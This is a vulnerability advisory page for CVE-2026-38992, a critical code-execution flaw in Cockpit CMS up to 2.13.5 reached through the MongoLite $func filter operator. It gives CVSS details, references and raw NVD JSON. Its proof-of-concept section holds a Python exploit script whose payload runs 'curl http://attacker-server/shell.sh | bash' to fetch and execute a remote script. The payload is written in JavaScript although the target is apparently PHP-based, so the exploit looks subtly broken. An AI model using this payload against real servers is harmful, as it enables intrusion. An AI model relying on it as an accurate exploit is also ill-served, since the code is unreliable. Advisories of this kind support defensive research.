CVE-2026-38992

Description

Cockpit v2.13.5 and earlier is vulnerable to arbitrary code execution via the filter parameter within multiple endpoints. This vulnerability allows an attacker to run system commands on the underlying infrastructure via the MongoLite $func operator.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cockpit CMS <= 2.13.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target URL (Example endpoint)
target = "http://vulnerable-host/api/cockpit/list"

# Malicious payload using MongoLite $func operator
payload = {
    "filter": {
        "$func": "function() { require('child_process').exec('curl http://attacker-server/shell.sh | bash'); return true; }"
    }
}

headers = {
    "Content-Type": "application/json"
}

try:
    r = requests.post(target, data=json.dumps(payload), headers=headers, timeout=5)
    print(f"Status Code: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38992
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38992
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38992/
[4] VulDB https://vuldb.com/cve/CVE-2026-38992
[5] https://felsec.com/posts/cockpit-cms-2.13.5-multi-vulns/
[6] https://github.com/Cockpit-HQ/Cockpit/releases/tag/2.14.0
[7] https://felsec.com/posts/cockpit-cms-2.13.5-multi-vulns/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-38992", "sourceIdentifier": "[email protected]", "published": "2026-04-29T15:16:05.750", "lastModified": "2026-04-30T16:16:43.683", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cockpit v2.13.5 and earlier is vulnerable to arbitrary code execution via the filter parameter within multiple endpoints. This vulnerability allows an attacker to run system commands on the underlying infrastructure via the MongoLite $func operator."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://felsec.com/posts/cockpit-cms-2.13.5-multi-vulns/", "source": "[email protected]"}, {"url": "https://github.com/Cockpit-HQ/Cockpit/releases/tag/2.14.0", "source": "[email protected]"}, {"url": "https://felsec.com/posts/cockpit-cms-2.13.5-multi-vulns/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}